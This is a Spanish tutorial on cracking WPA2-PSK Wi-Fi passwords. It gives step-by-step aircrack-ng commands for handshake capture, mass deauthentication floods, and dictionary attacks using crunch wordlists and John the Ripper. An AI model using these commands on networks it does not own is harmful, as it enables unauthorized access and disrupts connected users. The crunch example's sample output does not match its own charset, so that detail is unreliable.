WPA2-PSK es criptográficamente sólido, pero tiene un punto débil crítico: si la passphrase es débil o está en un diccionario, basta capturar el 4-Way Handshake EAPOL para intentar crackearla offline. En este artículo vemos todo el proceso, desde el escaneo inicial hasta la generación de diccionarios personalizados con crunch.
Paso 1 — Escuchar el tráfico WiFi
Con la antena en modo monitor activada, el primer paso es lanzar airodump-ng sin filtros para obtener una visión general de todas las redes disponibles en el entorno. Esto nos permite identificar la red objetivo y tomar nota de su canal y BSSID.
sudo airodump-ng wlan0
De la lista resultante, anota el BSSID (MAC del AP) y el canal (CH) de la red que quieres auditar. Son los parámetros necesarios para el siguiente paso.
Paso 2 — Fijar la red objetivo y capturar
Una vez identificada la red, filtramos airodump-ng para escuchar únicamente ese AP y guardamos la captura en un archivo. El handshake WPA2 quedará registrado en ese archivo cuando un cliente se conecte o reconecte.
sudo airodump-ng -c 4 --bssid 78:20:51:44:63:80 -w captura wlan0
-c 4
Canal de la red objetivo. Sustituye el 4 por el canal real que viste en el paso anterior.
--bssid
MAC del AP objetivo. Filtra el tráfico para capturar solo paquetes de esa red.
-w captura
Prefijo del archivo de salida. Se crearán archivos captura.cap, captura.csv, etc.
WPA handshake: XX:XX:XX:XX:XX:XX
cuando lo capture.
Paso 3 — Forzar la reconexión con deautenticación
Si no hay clientes activos reconectándose, podemos provocar un handshake enviando tramas de deautenticación (deauth) a un cliente específico. Esto lo desconecta momentáneamente del AP y, al reconectarse, genera un nuevo handshake que capturamos con airodump-ng corriendo en paralelo.
sudo aireplay-ng -0 9 -a 78:20:51:44:63:80 -c DC:A2:66:44:84:F7 wlan0
-0 9
Envía 9 tramas de deautenticación. Puedes aumentarlo si el cliente no se desconecta.
-a
BSSID del AP objetivo.
-c
MAC del cliente (station) que quieres desconectar. Lo ves en la parte inferior de airodump-ng.
sudo aireplay-ng --deauth 100000 -a (bssid) -c (station) wlan0
Paso 4 — Analizar el handshake con aircrack-ng
Con el handshake capturado en el archivo .cap, lanzamos aircrack-ng
para intentar crackear la contraseña usando un diccionario. Aircrack-ng recalcula
la PMK para cada candidato del diccionario y verifica el MIC del handshake capturado.
sudo aircrack-ng -b (bssid) -w (diccionario) archivo.cap
-b (bssid)
Filtra el handshake del AP correcto dentro del archivo de captura.
-w (diccionario)
Ruta al archivo de diccionario. Puede ser rockyou.txt, un diccionario propio o la salida de crunch.
archivo.cap
Archivo de captura que generó airodump-ng con el handshake incluido.
Deautenticar varias estaciones en paralelo
Si la red tiene varios clientes conectados, puedes lanzar deautenticaciones simultáneas a cada uno usando procesos en segundo plano. Esto aumenta las posibilidades de capturar el handshake rápidamente.
sudo aireplay-ng --deauth 100000 -a (bssid) -c (station1) wlan0 &>/dev/null &
sudo aireplay-ng --deauth 100000 -a (bssid) -c (station2) wlan0 &>/dev/null &
Gestionar los procesos en segundo plano
jobs -l
sudo kill (pid)
Diccionarios según el fabricante del router
Muchos routers domésticos generan contraseñas WiFi predeterminadas siguiendo patrones relacionados con el fabricante: combinaciones de letras mayúsculas y números de una longitud fija, o palabras derivadas del modelo. Conocer el fabricante puede acotar enormemente el espacio de búsqueda.
Identificar el fabricante: usa los primeros 3 bytes del BSSID (OUI). Búscalos en una base de datos pública como macvendors.com.
Investigar el patrón: muchos fabricantes documentan (o tienen filtrados) sus algoritmos de generación de contraseñas por defecto. Busca en foros de seguridad específicos del modelo.
Generar el diccionario: usa crunch con el patrón del fabricante para crear un diccionario acotado. Esto reduce millones de combinaciones a miles o menos.
Crunch — Generación de diccionarios personalizados
crunch es una herramienta que genera diccionarios de contraseñas según una longitud y conjunto de caracteres definidos. Es ideal cuando conoces el patrón de la contraseña (longitud, tipo de caracteres, posiciones fijas).
sudo crunch [min] [max] [caracteres] -t [patrón] -o [archivo_salida]
[min] [max]
Longitud mínima y máxima de las contraseñas generadas.
[caracteres]
Conjunto de caracteres a usar. Ej: abc123 o ABCDEFGHIJ0123456789.
-t [patrón]
Define posiciones fijas. @ = posición variable, , = mayúscula, % = número.
-o [archivo]
Guarda el diccionario generado en un archivo de texto.
Ejemplo práctico
Generar todas las combinaciones de 6 caracteres que empiecen por "a", terminen en "c"
y tengan 4 posiciones variables con los caracteres abc123:
sudo crunch 6 6 abc123 -t a@@@@c -o diccionario.txt
# Genera combinaciones como: a1234c, aabcac, a3b2cc, etc.
Ataque en línea — Sin guardar el diccionario en disco
Cuando el diccionario generado por crunch sería muy grande para guardarse en disco (puede llegar a terabytes), se puede pasar directamente a aircrack-ng a través de una tubería (pipe), sin necesidad de escribirlo primero en un archivo.
sudo crunch 8 8 | sudo aircrack-ng -w - -b (bssid) archivo.cap
# -w - → lee el diccionario desde la entrada estándar (stdin)
Ataque con pausa y reanudación — John the Ripper
Si el ataque puede tardar horas o días, puedes combinarlo con John the Ripper para tener la capacidad de pausar y reanudar desde donde lo dejaste, algo que no ofrece el pipe directo de crunch.
Ejecutar el ataque con sesión guardada
sudo crunch 8 8 | sudo john --stdin --session=wpa --stdout | sudo aircrack-ng -w - -b (bssid) archivo.cap
Pausar y reanudar
# Pausar: Ctrl + C
# Reanudar desde donde se dejó:
sudo crunch 8 8 | sudo john --restore=wpa | sudo aircrack-ng -w - -b (bssid) archivo.cap
--session=wpa
Guarda el estado del ataque con el nombre "wpa". Puedes usar cualquier nombre.
--stdout
John actúa como generador de candidatos y los manda por stdout a aircrack-ng.
--restore=wpa
Recupera el estado guardado y continúa desde el último candidato probado.